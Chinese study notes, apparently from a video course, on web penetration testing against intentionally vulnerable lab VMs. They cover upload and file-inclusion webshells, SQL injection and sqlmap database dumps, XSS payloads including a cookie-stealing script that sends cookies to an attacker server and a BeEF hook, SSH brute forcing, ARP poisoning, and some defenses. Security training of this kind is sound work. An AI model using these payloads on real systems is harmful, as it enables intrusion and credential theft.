cc攻击和DDoS攻击:
https://www.zhihu.com/question/279332078/answer/406403780 ← ← ← 刮刮乐

笔记来源B站视频(知识区>野生技术协会)
黑客攻防 从入门到入yu【網絡安全】:https://www.bilibili.com/video/BV1E4411L7zS

文章目录

  • 一、文件上传漏洞原理
    • 1、实验原理
    • 2、实验过程
    • 3、webshell
    • 4、菜刀详解+官网下载链接
  • 二、文件包含渗透 File Inclusion
    • 1、项目实验环境
    • 2、文件包含漏洞危害及原理
      • 2.1、低安全级别
      • 2.2、中安全级别
      • 2.3、高安全级别
  • 三、SQL注入攻击及防御
    • 1、项目实验环境
    • 2、SQL注入危害
    • 3、SQL基础回顾
    • 4、SQL注入流程
    • 5、手动注入实战
      • 5.1、基于错误的注入
      • 5.2、基于布尔的注入
      • 5.3、基于UNION的注入
      • 5.4、基于时间的盲注
    • 6、SQLmap自动注入
      • 6.1、GET方法注入+数据获取
      • 6.2、POST方法注入+数据获取
      • 6.3、提权操作
      • 6.4、综合实例
  • 四、跨站脚本攻击 XSS
    • 1、XSS简介
    • 2、原理解析
    • 3、构造XSS脚本
      • 3.1、常用HTML标签
      • 3.2、常用JavaScript方法
      • 3.3、构造XSS脚本
    • 4、反射型XSS (XSS reilected)
      • 4.1、安全级别
    • 5、存储型XSS (XSS stored)
    • 6、自动化XSS
      • 6.1、BeEF简介
      • 6.2、BeEF基础
      • 6.3、信息收集
  • 五、Web信息收集之搜索引擎
    • 1、Google Hacking
    • 2、Shodan Hacking
    • 3、Zoomeye Hacking
  • 六、Web信息收集之目标扫描
    • 1、项目实验环境
    • 2、nmap(命令行)
    • 3、zenmap(图形界面)
    • 4、OpenVAS
  • 七、Web漏洞扫描之AppScan
  • 八、Web漏扫之 Burp suite
  • 九、SSH密码暴力破解及防御实战
  • 十、中间人攻击及防御

一、文件上传漏洞原理


实验靶机:OWASP_BrokenWeb_Apps_VM_1.2
下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download

测试渗透机:Kali_Linux
官网下载地址:https://www.kali.org/downloads/

1、实验原理

2、实验过程

注意:上传文件(比如图片)时,文件不要太大,否则会上传失败
.

实验一:
低安全模式下,上传任意类型文件,对文件的限制不大

实验二:
中安全模式下,绕过上传文件的类型
开启 BurpSuite ,设置代理地址(攻击机的地址)
修改浏览器代理,用 BurpSuite 实现拦截功能
在被拦截的数据中修改Content-Type的信息,改为 image/JPEG

实验二实现原理:

实验三:
高安全模式,上传一句话图片木马(文件后缀名限制)

上传一句话木马图片(结合下面的 webshell 进行操作)
用工具 edjpgcom 给图片写入木马,执行图片内容生成木马,用中国菜刀连接进行后台操作

在后面章节的 文件包含漏洞 - ->本地文件 + webshell 会提到具体的操作方法

edjpgcom工具链接:
蓝奏云: https://www.lanzoux.com/iJ9cce8fphe

3、webshell

shell2.php #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['cmd']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();shell3.php #system 使用Linux系统命令,例如ls,cp,rm
<?php system($_REQUEST['yangge']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell3php?yangge=cat /etc/passwd
#10.3.139.173改为靶机的ip地址

$ _REQUEST和$ _POST的区别

< ?php eval($_REQUEST[‘hello’]);? >(hello可以改)
在地址栏用参数一条一条地操作
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?hello=phpinfo();

< ?php eval($_POST[‘hello’]);? >(hello可以改)
用工具(中国菜刀)连接进行后台操作

4、菜刀详解+官网下载链接

中国菜刀官网:http://www.maicaidao.co/
腾讯哈勃查毒(轻度风险):https://habo.qq.com/

在文件中找到readme.txt,里面有详细使用方法

二、文件包含渗透 File Inclusion

1、项目实验环境


本地文件包含:LFI
远程文件包含:RFI

老师手绘图

绿色框:正常文件
红色框:上传恶意的本地文件
黄色框:让服务器主动访问恶意的远程文件

2、文件包含漏洞危害及原理

2.1、低安全级别

本地文件包含

本地文件包含 + webshell

一句话木马脚本
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>


edjpgcom工具链接:
蓝奏云: https://www.lanzoux.com/iJ9cce8fphe
天翼:https://cloud.189.cn/t/R7VFjuZRbMJb(访问码:n4d1)

注意:图片不能太大,否则可能运行不了

相对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yangge.jpg
绝对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/yangge.jpg

远程文件包含 + webshell

建立远程服务器
安装web服务(apache2)
apt-get install apache2
开启web服务
systemctl start apache2
编写脚本文件
vim /var/www/html/yangge.txt

<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[yangge50]);?>')?>

2.2、中安全级别

本地文件包含: 和低安全级别操作一样
本地文件包含 + webshell: 和低安全级别操作一样

远程文件包含 + webshell
后台源码用str_replace函数只替换一个http://,改成http:http:////即可

2.3、高安全级别

后台源码写死,文件后缀名限制,安全但不灵活

三、SQL注入攻击及防御

1、项目实验环境

实验靶机:OWASP_BrokenWeb_Apps_VM_1.2
下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download

测试渗透机:Kali_Linux
官网下载地址:https://www.kali.org/downloads/

2、SQL注入危害

  1. 拖库导致用户数据泄露
  2. 危害web等应用的安全
  3. 失去操作系统的控制权
  4. 用户信息被非法买卖
  5. 危害企业及国家的安全

3、SQL基础回顾

1、登录OWASP
登录OWASP
2、查看数据库
show databases; 查看所有数据库
select database(); 查看当前所在的库
use dvwa; 使用dvwa库
3、查看当前库中的表
show tables;
4、查看表结构
desc table;
5、查看表记录
比如select语句

//简单查询示例
当前库dvwa dvwa .users
mysql> select * from users;
mysql> select user_id,first其它库 mysql.user
mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;其它库 wordpress .user
mysql> desc wordpress.wp_users;
mysql> select * from wordpress.wp_users;
wysql> select user_login,user_pass from wordpress.wp_users;//条件查询示例
mysql> select user,password,host from mysql.user where user='root';
mysqi> select user,password,host from mysql.user where user='root' and host='localhost':
mysql> select user,password,host from mysql.user where user='root' or host='localhost';mysql> desc dvwa .users;
mysq1> select user_id,first_name,last_name from dvwa.users where first_name='yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;
mysqi> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

联合查询

注:union查询前后字段数必须相同
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

注入语句

mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

6、information_schema(元数据)

====查询数据库库名、表名 information_schema.tables===
mysql> select * from information_schema.TABLES\G
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;  //等价于show databases
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY
TABLE_SCHEMA\G
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa';  //等价于show tables


===查询数据库库名、表名、字段名 information_schema.columns===
mysql> select * from information_schema.columns\G
mysql> select column_name from INFORMATION_SCHEMA.columns
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa’ and table_name='users';  //相当于desc
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES';
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES';

4、SQL注入流程

5、手动注入实战

5.1、基于错误的注入

目的:试探某位置是否有注入点

语句分析

输入单引号 ’ 报错

select first_name,last_name from dvwa users where user_id='''

5.2、基于布尔的注入

注入语句

select first_name,last_name from dvwa users where user_id='' or 1=1 -- yangge '

' or 1=1 -- yangge
第一个 ' 是为了闭合前面的条件
or 1=1 为真的条件
- - 注释掉后面所有语句

一般可以查到本张表的所有数据

5.3、基于UNION的注入



//查询所有库名
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
//查询所有库的表名
' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
//查询所有表名及对应库名
' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''

//原始语句
mysq1> select first_name,last_name from dvwa.users where user_id='$id'
//查询数据表
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name="users' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='USER PRIVILEGE' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' --'

//查询数据列
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
'union select password, concat(first_name,' ',last_name,' ',user)  from users --'
输入语句
mysq1> select first_name,last_name from dvwa.users where user_id=' 'union select password, concat(first_name,' ',last_name,' ',user)  from users --'

注入语句

可以查到本张表以外的其他表的数据
前提是
第一要知道union前面SQL语句查询的字段数
第二要知道union后面的要查的那张表的字段名

5.4、基于时间的盲注

SQL injection (Blind) - 盲注

有些数据库对错误信息做了安全配置,使得不能通过以上方法探测到注入点,此时,通过设置 sleep 语句来探测注入点
1' and sleep(5) -- '

SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- '

6、SQLmap自动注入

  SQ注入比较好用的工具,首推开源工具 SQLmap。SQLmap是个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中有的数据,访可操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
   SQLmapx-MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和 SAP MaxDB等数据库的各中安全漏洞检测
sqlmap -hh | less

各行参数自行翻译(本人英语渣渣)

6.1、GET方法注入+数据获取

有登陆权限漏洞的靶机 OWASPMutillidae ‖

通过指定参数注入(复制网页链接,再加上参数)

root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username



获取所有数据库

root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --dbs


获取所有用户

root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --users


获取当前用户

root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --current-user
--users  //获取全部用户
--current-user //获取当前用户
--dbs   //获取全部数据库
--current-db    //获取当前数据库
-D "database_name" --tables
-D "database_name" -T "table_name" --colun
--dump-all //整个数据库全部dump(拿)下来
--dump-all --exclude-sysdbs //排除系统库
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
--batch //自动化完成![在这里插入图片描述](https://img-blog.csdnimg.cn/20200620142056130.png)


演示步骤:

6.2、POST方法注入+数据获取

需要带cookie才能访问注入的页面, – cookie=""
root@kall:~# sqlmap -u "http://192.168.106.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="换成自己的" --batch
多个 cookie 用 ; 分开
cookie 的内容 – > PHPSESSID = ID(主意,要用 =,而不是 :)


演示步骤(和GET差不多):

6.3、提权操作

提权操作:--sql-shell

获取sql权限后(操作数据库):
sql-shell:select * from users;

6.4、综合实例

四、跨站脚本攻击 XSS

1、XSS简介

2、原理解析


一般针对搜索框

3、构造XSS脚本

3.1、常用HTML标签

3.2、常用JavaScript方法

3.3、构造XSS脚本




主要用到这两条命令

<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的 cookie 巧用图片标签
<img src="http://BeEF_IP:3000/hook.js"></img>

4、反射型XSS (XSS reilected)

4.1、安全级别

低安全级别


可以直接发送代码段(XSS reilected 和 XSS stored 都行)

弹框警告:
<script>alert('yangge')</script>
<script>alert(document.cookie)</script>
页面重定向:
<script>location.href="http://www.baidu.com"</script>
  • 》手工XSS

5、存储型XSS (XSS stored)

存储型XSS(持久型XSS)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等;
用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。

  • 》手工【低】
攻击1 弹框告警∶ 渗透机 kali Linux 端操作text1<script>alert('yangge')</script>攻击2 获取cookie: 渗透机 Kali Linux端操作1. 构建收集cookie服务器2. 构造XSS代码并植入到Neb服务器3. 等待肉鸡触发xSS代码并将cookie发送到Kali4.Cookie利用

获取用户 cookie
在 kali 打开 apache 服务
systemctl start apache2
新建一个存放cookie的php文件
vim /var/www/html/cookie_rec.php
写入内容:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

给目录权限
chown -R www-data.www-data /var/www/

通过渗透机植入XSS代码:
<script>window.open('http://192.168.106.176/cookie_rec.php?cookie='+document.cookie)</script>
注:192.168.106.176 为kali Linux IP(换成自己的)
注: 先清除之前植入的XSS代码


再用另外一台电脑访问该网站,就可以在 /var/www/html/cookie.txt 文件中看到已经获取到cookie

6、自动化XSS

6.1、BeEF简介

Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;
http://beefproject.com/

信息收集:
1.网络发现
2.主机信息
3.Cookie获取
4.会话劫持
5.键盘记录
6.插件信息

持久化控制:
信息收集:
1.网络发现
2.主机信息
3.Cookie获取
4.会话劫持
5.键盘记录
6.插件信息

持久化控制:
1确认弹框
2.小窗口
3.中间人

社会工程:
1.点击劫持
2.弹窗告警
3.虚假页面
4.钓鱼页面

6.2、BeEF基础

启动Apache和BeEF:
service apache2 start

注: 先清除之前植入的XSS代码


在浏览器登录beef:http://127.0.0.1:3000/ui/panel (127.0.0.1 换成自己IP)
登录账号:beef
登录密码:beef

6.3、信息收集

命令颜色(Color):
绿色 对目标主机生效并且不可见(不会被发现)
橙色 对目标主机生效但可能可见(可能被发现)
灰色 对目标主机未必生效(可验证下)
红色 对目标主机不生效

反射型 - - 》非持久化
储存型 - - 》持久化

五、Web信息收集之搜索引擎

搜索引擎:
Google Hacking(谷歌)
Shodan Hacking(撒旦)
Zoomeye Hacking(钟馗之眼 - 撒旦国内版)

信息收集概述

  1. Web信息搜集(探测)即web踩点,主要是掌握目标Web服务的方方面面,是实现web渗透入侵前的准备工作
  2. Web踩点内容包括操作系统、服务器类型、数据库类型、web容器、web语言、域名信息、网站目录…
  3. Web信息搜集涉及搜索引擎、网站扫描、域名遍历、指纹识别等工作

项目实验环境

  1. 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
  2. 测试透机: win7/Kali

1、Google Hacking

不同的搜索行为
1、site

2、filetype

3、inurl

4、intitle

5、intext

实例

符号

参考
搜索:测验分数(test scores)但不是SAT入学分数的文章:

搜索:一份关于常见燕子飞行速度的专业报告

搜索:Dr.Ronald L.Green和Dr. Thomas P.Buttz.所写的关于光合作用(photosynthesis)的记文:

2、Shodan Hacking

https://www.shodan.io
Shodan(撒旦搜索引擎)是由Web工程师John Matherly(马瑟利)编写的,被称为“最可怕的搜索引擎”,可扫描一切联网的设备,除了常见的web服务器;还能扫描防火墙、路由器、交换机、摄像头、打印机等一切联网设备

ip
114.114.114.114

service/protocol

keyword
基于关键词搜索的思路是根据banner信息(设备指纹)来搜索 “default password” country:“TH”
FTP anon successful

country
country:cn
country:us
country:jp

product
product:“Microsoft IIS httpd”
product:“nginx”
product:“Apache httpd”
product:MySQL

version
product:MySQL version:“5.1.73”
product:“Microsoft IIS httpd” version:“7.5”

hostname
hostname: org
hostname: edu

OS
os:“Windows Server 2008 R2”
os:“Windows 7 or 8”
os:“Linux 2.6.x”

net
net net:110.180.13.0/24
200 ok net:110,180.13.0/24
200 ok country: JP net:110.180.13.0/24

port
port: 3389
port: 445
port: 22
port: 80
port: 443

综合示例

搜索日本区开启80端口的设备:
country:jp port:"80"
country:jp port:"80" product:"Apache httpd"
country:jp port:"80" product:"Apache httpd" city:"Tokyo"
country:jp port:"80" product:"Apache httpd" city:"Tokyo" os:"Linux 3.x"搜索日本区使用Linux2.6.x系统的设备:
country:jp os:"Linux 2.6.x"
country:jp os:"Linux 2.6.x" port:"80"
country:jp os:"Linux 2.6.x" port:"80" product:"Apache httpd"搜索日本区使用windows Server 系统的设备:
country:jp os:"Windwws Server 2008 R2"
country:jp os:"Windows Server 2003" port:"445"
country:jp os:"Nindows Server 2003" port:"80"授索日本区使用Microsoft IIS的设备:
country:jp product:"Microsoft IIS httpd" version:"7.5"

3、Zoomeye Hacking

概述
https://www.zoomeye.org

用户手册(shift+/):https://www.zoomeye.org/help
自己去玩玩。。。

六、Web信息收集之目标扫描

1、项目实验环境

  1. 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
  2. 测试透机: win7/Kali

2、nmap(命令行)

nmap简介
Nmap是安全渗透领域最强大的开源端口扫描器,能跨平台支持运行。
Nmap官网:https://nmap.org/
Nmap的帮助文档:https://nmap.org/book/man.html
其他安全工具:http://sectools.org/

扫描示例

主机发现:nmap -sn 192.168.106/24
端口扫描:nmap -sS -p1-1000 192.168.106.134
(-sS原理,给对方发一个SYN握手包,若对方回一个SYN/ACK,则开启了探测端口;若回一个RESET/ACK,则没有开启探测端口)
系统扫描:nmap -O 192.168.106.134
版本扫描:nmap -sV 192.168.106.134
综合扫描:nmap -A 192.168.106.134
脚本扫描:root@kali:/usr/share/nmap/scripts#nmap --script=default 192.168.106.134nmap --script=auth 192.168.106.214nmap --script=brute 192.168.106.134nmap --script=vuln 192.168.106.134nmap --script=broadcast 192.168.106.134nmap --script=smb-brute.nse 192.168.106.134nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.106.134nmap --script=smb-vuln-conficker.nse --script-args=unsafe=1 192.168.106.134nmap -p3306 --script=mysql-empty-password.nse 192.168.106.134

3、zenmap(图形界面)

Intense scan(强烈扫描):
nmap -T4 -A -v 192.168.106.1
-T 设置速度等级,1到5级,数字越大,速度越快
-A 综合扫描
-v 输出扫描过程

Intense scan plus UDP:
nmap -sS -sU -T4 -A -v 192.168.106.134
-sS TCP全连接扫描
-sU UDP扫描

Intense scan, all TCP ports:
nmap -p 1-65535 -T4 -A -v 192.168.106.134
-p 指定端口范围,默认扫描1000个端口

intense scan no ping:
nmap -T4 -A -v -Pn 192.168.106.0/24
-Pn 不做ping扫描,例如针对防火墙等安全产品

ping scan:
nmap -sn 192.168.106.0/24
nmap -sn -T4 -v 192.168.106.0/24
-sn 只做ping扫描,不做端口扫描

quick scan:
nmap -T4 -F 192.168.106.134
-F fast模式,只扫描常见服务端口,比默认端口(1000个)还少

Quick scan plus:
nmap -sV -T4 -O -F --version-light 192.168.106.134
-sV 扫描系统和服务版本
-O 扫描操作系统版本

Quick traceroute:
nmap -sn --traceroute www.qfedu.com
- -traceroute 追踪经过的路由站

Regular scan:
nmap www.qfedu.com
标准扫描

Slow comprehensive scan:
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" www.baidu.com
全面扫描(慢)

4、OpenVAS

信息扫描工具

http://www.openvas .org/
http://www.greenbone.net/

部署OpenVAS

升级Kali Linux
root@kali:~# apt-get update
rootekali:~# apt-get dist-upgrade
//升级更新前,记得换镜像源,这样快一点
安装openVAS
root@kali:~# apt-get install openvas
root@kali:~# openvas-setup修改admin账户密码
root@kali:~# openvasmd --user=admin --new-password=yangge修改默认监听IP
root@kali:~# vim /lib/systemd/system/greenbone-security-assistant.service启动OpenVAS
root@kali:~# openvas-start


检查安装:
root@kali:~#ss -tnlp
root@kali:~#openvas-check-setup


登录OpenVAS
https://192.168.106.158:9392 #192.168.106.158为 Kali IP地址 端口9392
注:是https

高级 - > 允许访问

新建扫描task



高级扫描task


结果:

七、Web漏洞扫描之AppScan


IBM@ Security AppScan@ 是一个适合安全专家的Web应用程序和Web服务渗透测试解决方案
国外商业漏扫产品中,少有的能支持中文的漏扫,运行于windows平台;
界面清晰、配置简单丰富的中文和产品文档,详细的漏洞说明和修复建议;
支持丰富的扫描报告,包括安全性、行业标准、合规一次性报告。
https://www.ibm.com/developerworks/cn/downloads/r/appscan/

1.功能及特点

2.项目实验环境

  1. 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
  2. 测试透机: win7/Kali

3.AppScan安装
在官网下载到Windows上安装

4.创建扫描

下一步


下一步 - >完成 - > 扫描 - > 保存结果

八、Web漏扫之 Burp suite


1.功能以及特点

https://portswigger.net/burp/

Target: 目标模块用于设置扫描域(target scope)、生成站点地图(sitemap)、生成安全分析

Proxy: 代理模块用于拦截浏览器的http会话内容

Spider: 爬虫模块用于自动爬取网站的每个页面内容,并生成完整的网站地图

Scanner: 扫描模块用于自动化检测漏洞,分为主动和被动扫描

Intruder: 入侵(渗透)模块根据上面检测到的可能存在漏洞的链接,调用攻击载荷,对目标链接进行攻击入侵模块的原理是根据访问链接中存在的参数/变量,调用本地词典、攻击载荷,对参数进行渗透测

Repeater: 重放模块用于实现请求重放,通过修改参数进行手工请求回应的调试

Sequencer: 序列器模块用于检测参数的随机性,例如密码或者令牌是否可预测,以此判断关键数据是否可被伪造

Decoder: 解码器模块用于实现对URL、HTML、Base64、ASCII、二/八/十六进制、哈希等编码转换

Comparer 对比模块用于对两次不同的请求和回应进行可视化对比,以此区分不同参数对结果造成的影响

Extender: 拓展模块是burpsuite非常强悍的一个功能,也是它跟其他web安全评估系统最大的差别,通过拓展模块,可以加载自己开发的、或者第三方模块,打造自己的burpsuite功能通过burpsuite提供的API接口,目前可以支持Java、Python、Ruby三种语言的模块编写

Options: 分为Project/User Options,主要对软件进行全局设置

Alerts: 显示软件的使用日志信息

2.项目实验环境

  1. 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
  2. 测试透机: win7/Kali

3.Burp Suite安装

启动方法:java -jar -Xmx1024M /burpsuite_path/BuppHe1per.jar

4.Burp Suite使用

代理功能【Proxy】
目标功能【Target】

开启监听端口
浏览器设置代理
代理功能详解
拦截账号信息


查看站点地图

设置过滤器


爬虫功能【Spider】

准备工作:
设置代理获取域名【略】
访问目标网站
设置目标域
拦截功能关闭


爬虫选项





执行爬虫,在站点地图中发送给爬虫

扫描功能【Scanner】

准备工作:
设置代理获取域名【略】
访问目标网站
设置目标域
拦截功能关闭

扫描选项之扫描方式:
主动扫描精准度高时间长影响大消耗资源大
被动扫描精准度低时间短影响小消化资源小


攻击插入点


主动扫描



被动扫描

漏洞扫描

漏洞问题


保存导出问题

使用主动扫描
站点地图中选中主动扫描的网站或分支

打开报告

九、SSH密码暴力破解及防御实战


1、hydra [海德拉]

**海德拉(Hydra):**希腊神话中的九头蛇,是西方的神话生物,在古希腊神话中出现最为频繁。传说它拥有九颗头,其中一颗头要是被斩断,立刻又会生出两颗头来。

hydra是世界顶级密码暴力密码破解工具,支持几所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

指定用户破解

Examples:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults .txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt sshrootekali:~# hydra -1 root -P pass.dic 192.168.106.134 ssh

用户列表破解

root@kali:~# cat userlist.txt
admin
root
tianyun
yangge
zhuzhuxiaroot@kali:~# cat passlist.txt
123
abc,123
root
admin
owaspbwa
yangge
root@kali:~# hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh


结果导出到 ssh-hydra.ok
root@kali:~#hydra -L userlist.txt -P passlist.txt -M hosts.txt ssh -o ssh-hydra.ok

2、Medusa [美杜莎]
美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面撩牙,她知道自己丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖因为梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下将美杜莎的头发变成毒蛇,变成面目丑陋的怪物。

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra —样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。

语法参数


破解SSH密码
root@kali:~#medusa -M ssh -h 192.168.106.134 -u root -P passlist.txt

root@kali:~#medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt

root@kali:~#medusa -M ssh -h 192.168.106.134 -U userlist.txt -p passlist.txt -F

root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -O ssh.log输出到ssh.log

3、patator
Patator :强大的命令行暴力破解器

可用模块

破解SSH密码

root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt

root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt -x ignore:mesg='Authentication failed.'

4、BrutesPray

Kali端安装
root@kali:~# apt-get update
root@kali:~# apt-get install brutespray

语法参数

nmap扫描

root@kali:~# nmap -v 192.168.106.0/24 -oX nmap.xml
root@kali:~# nmap -A -p22 -v 192.168.106.0/24 -oX 22.xml
root@kali:~# nmap -sP 192.168.106.0/24 -oX nmaplive.xml
root@kali:~# nmap -sV -O 192.168.106.0/24 -oX nmap.xml

字典爆破SSH
root@kali:~# brutespray --file 22.xml -U userilst.txt -P passlist.txt --threads 5 --hosts 5

爆破成功可以到这个文件下查看
cat /root/brutespray-output/ssh-success.txt

5、MSF


SSH模块
root@kali:~# msfconsole
msf > search ssh

SSH用户枚举(ssh_enumusers)
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(scanner/ssh/ssh_enumusers)> set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist. txt
msf auxiliary(scanner/ssh/ssh_enumusers) > run

SSH版本探测(ssh_version)
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_version) > run

SSH 暴力破解(ssh_login)
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
msf auxiliary(scanner/ssh/ssh_login) > run

6、暴力破解防御

1. useradd shell【推荐】
[root@tianyun ~]# useradd yangge -s /sbin/nologin2. 密码的复杂性【推荐】
字母大小写+数字+特殊字符+20位以上+定期更换3. 修改默认端口【推荐】
/etc/ssh/sshd_config
Port 222224. 限止登录的用户或组【推荐】
#PermitRootLogin yes
AllowUser yangge[root@tianyun ~]# man sshd_config
AllowUsers AllowGroups DenyUsers DenyGroups使用sudo【推荐】5.设置允许的IP访问【可选】
/etc/hosts.allow ,例如sshd:192.168.106.167:allow
PAM基于IP限制
iptables/firewalld
只能允许从堡垒机6. 使用DenyHosts自动统计,并将其加入到/etc/hosts.deny7. 基于PAM实现登录限制【推荐】
模块:pam_tally2.so
功能:登录统计
示例:实现防止对sshd暴力破解
[root@tianyun ~]# grep tally2 /etc/pam.d/sshd
auth   required   pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=68. 禁用密码改用公钥方式认证
/etc/ssh/sshd_config
PasswordAuthentication no9. 保护xshell导出会话文件【小心】10.GRUB加密【针对本地破解】

在文件 /etc/pam.d/su 中加入 auth sufficient pam rootok.so
那么只要用 root 用户进行ssh登录,密码随便乱输入也能登陆

十、中间人攻击及防御

中间人攻击也叫ARP 欺骗 、ARP 毒化

kali 攻击工具:Ettercap
ettercap -G (打开GUI界面)
搜索主机

添加需要毒化的主机



开始毒化

arp -a查看网关的 ip地址 对应的 mac地址是否被改变

防御:

linux系统下的配置
设置永久静态MAC地址:
arp -s IP地址 MAC地址
arp -s 192.168.1.22 00-aa-00-62-e5-6c

Windows系统下的配置
设置临时静态MAC地址 :
arp -s IP地址 MAC地址
arp -s 192.168.1.200 00-aa-00-62-c6-09

设置永久静态MAC地址:
DOS界面下,输入命令 netsh ii show in ,查看本地网卡对应的"Idx"值
(netsh i i show in 为 netsh interface ipv4 show interfaces 的缩写)

绑定静态mac地址
netsh -c i i ad ne 14 10.30.162.1 cc-2d-e0-1e-43-99 store=persistent

删除之前绑定的ARP表项
netsh -c "i i" delete neighbors 14(14为之前的idx值)

